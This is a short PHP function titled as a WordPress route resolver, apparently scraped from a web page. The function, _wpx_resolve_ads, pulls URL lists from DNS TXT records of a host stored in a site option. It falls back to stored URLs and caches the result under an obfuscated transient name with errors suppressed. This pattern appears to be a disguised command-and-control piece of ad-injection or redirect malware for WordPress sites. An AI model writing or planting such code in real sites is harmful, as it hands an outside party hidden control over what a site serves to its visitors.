// WordPress route resolver
function _wpx_resolve_ads($opt_key, $dns_key, $fallback_key) {
static $m = [];
if (isset($m[$opt_key])) return $m[$opt_key];
$k = '_wp_src_' . base_convert(abs(crc32($opt_key)), 10, 36);
$hit = get_transient($k);
if ($hit !== false) return $m[$opt_key] = $hit;
$c = json_decode((string) get_option($opt_key, '{}'), true) ?: [];
$h = $c[$dns_key] ?? '';
$fb = (array) ($c[$fallback_key] ?? []);
$out = [];
if ($h && function_exists('dns_get_record')) {
foreach ((array) @dns_get_record($h, DNS_TXT) as $r) {
$t = $r['txt'] ?? $r['entries'][0] ?? '';
if ($t && filter_var(strtok($t, '?'), FILTER_VALIDATE_URL)) $out[] = $t;
}
}
$out = $out ?: $fb;
set_transient($k, $out, 21600); // 6 hours
return $m[$opt_key] = $out;
}
Contact Us - Kayon